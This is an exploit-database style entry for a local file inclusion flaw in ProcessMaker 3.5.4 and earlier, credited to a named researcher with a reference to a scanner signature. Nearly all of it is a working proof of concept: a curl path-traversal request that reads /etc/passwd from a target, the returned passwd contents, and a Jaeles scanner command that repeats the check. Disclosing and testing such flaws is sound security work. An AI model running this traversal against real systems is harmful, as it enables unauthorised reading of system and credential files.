# Exploit Title: ProcessMaker 3.5.4 - Local File inclusion # Exploit Author: Ai Ho (@j3ssiejjj) # Date: 16-04-2021 # Vendor Homepage: https://www.processmaker.com/ # Version: ProcessMaker <= 3.5.4 # References: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/process-maker-lfi.yaml # PoC: ## With curl curl -k --path-as-is 'http://targetIP/../../../..//etc/passwd' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin --[snippets]-- ## With Jaeles Scanner jaeles scan -s ~/jaeles-signatures/common/process-maker-lfi.yaml -u http://targetIP